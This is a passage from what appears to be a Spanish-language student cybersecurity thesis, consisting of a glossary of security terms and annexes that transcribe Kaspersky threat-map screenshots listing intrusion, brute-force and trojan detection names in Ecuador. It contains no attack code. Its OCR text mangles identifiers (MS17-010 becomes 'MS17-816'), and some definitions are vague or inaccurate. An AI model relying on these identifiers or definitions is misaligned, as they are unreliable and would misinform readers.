sitle entre las dos partes que intentan comunicarse; interceptando los mensajes enviados e
imitando al menos a una de ellas.

Metasploit: Es una herramienta desarrollada en Perl y Ruby en su mayor parte, que esta
enfocada a auditores de seguridad

Exploits: Es un programa informatico, una parte deun software 0 unasecuencia
de comandos que se aprovecha de un error o vulnerabilidad para provocar un comportamiento
no intencionado o imprevisto en un software, hardware o en cualquier dispositivo electronico.

Sniffing: Es una aplicacion especial para redes informaticas.

VPN: Es una red privada virtual que permite crear una conexion segura y cifrada hacia otra red
a través de Internet.

Mitigacion: Moderar, aplacar, disminuir o suavizar algo riguroso o aspero

URL.: Direccion que es dada a un recurso tnico en la Web

Free: Es un vocablo anglosajon que significa “libre” o “gratis”.

IDS (Intrusion Detection System): Es un software de seguridad cuya funcién es detectar
accesos no autorizados en un sistema o una red de ordenadores.

HTTPS: es un protocolo que permite establecer una conexion segura entre el servidor y el
cliente, que no puede ser interceptada por personas no autorizadas.

Nmap: Es una herramienta de escaneo de puertos y descubrimiento de hosts que existe

actualmente.

Payload: Es la carga que se ejecuta en esa vulnerabilidad

Script: Se trata de un codigo de programacion, usualmente sencillo, que contiene comandos u
ordenes que se van ejecutando de manera secuencial y cominmente se utilizan para controlar

el comportamiento de un programa en especifico o para interactuar con el sistema operativo.
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Launch: Es un término anglosajon que significa “lanzamiento”.

Post: Es tipicamente enviada por un formulario HTML y resulta en un cambio en el servidor
Host: protocolo IP identifica a cada ordenador que se encuentre conectado a la red mediante su
correspondiente direccion.

TICs: Abreviatura de Tecnologias de la informacion y comunicacion.
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ANEXOS

€& —> C @& cybermapkaspersky.com/es/stats#country=35 =IDS&period=

Aplicaciones 11 Gmail > YouTube & Maps Consultas EMAPAG @ GUIA ESTUDIANTE.
CIBERAMENAZA MAPA EN TIEMPO REAL @ es

FUENTES DE INFORMACION ZUMBIDO WIDGET

Instalacin de Armi... '§ Mensajes @ AyudasdeEnvio ¢§3 SoBC-2017-Spanish... [@8] Norma ISO 27032..

Protégete de los
ciberataques

compartir f W

POR PAIS

Ecuador v Intrusion Detection Scan v PERIODO DE TIEMPO: © La semana pasada @ El mes pasado

Arriba - Intrusion Detection Scan EN EL ULTIMO SEMANA

Arriba - Intrusion Detection Scan EN EL ULTIMO SEMANA

Intrusion.Win.MS17-816.0
Bruteforce.Generic.Rdp.a
Bruteforce.Generic.Rdp.d
Scan.Generic_PortScan.TCP

Intrusion. Win.MS17-616.p
Intrusion.Win.MS17-016.cf
DoS.Generic.Flood. TCPSYN
Scan.Generic.PortScan.UDP
Intrusion.Win.CVE-2019-8768.b_exploit

Bruteforce.Generic.Rdp.c

Anexo 1: Los ataques de intrusidn se encuentran dentro de los méas ejecutados su funcién es
intentar explotar aplicaciones, servicios y sistemas operativos vulnerables.

@« WM @ @d P2 @
-

C @ cybermap.kaspersky.com/es/stats#ca

Aplicaciones 11 Gmail » YouTube & Maps Consultas EMAPAG @ GUIA ESTUDIANTE...

CIBERAMENAZA MAPA EN TIEMPO REAL i es

FUENTES DE INFORMACION ZUMBIDO WIDGET

POR PAIS

Ecuador v Web Anti-Virus

Arriba - Web Anti-Virus EN EL OLTIMO SEMANA

kaspersky

O = m O ® 5

B | inA n | @ he| +
w (2

Instalacion de Ami.. T Menssjes @ Ayudas deEnvio 9 SoBC-2017-Spanish... [@] Norma ISO 27032...

Protégete de los
ciberataques

compartir f W

PERIODO DE TIEMPO: O La semana pasada @ EL mes pasado

Arriba - Web Anti-Virus EN EL ULTIMO SEMANA

Trojan-Downloader .Win32.Upatre.eyz
Trojan.Script._Miner._gen
Trojan.Script.Generic
Trojan_Multi.Preqw.gen
Virus.EFI64.KL-Demo.a
Trojan.Script.Redirector.gen
Trojan.PDF .Badur.gen
Trojan-PSH.Script.Generic

Backdoor .HTTP_TeviRat.gen

Worm_Script.Generic

7:46
Esp 10/3/2021 ‘:‘

Anexo 2: Dentro de los ataques de troyanos mas populares esta el de tipo win32.
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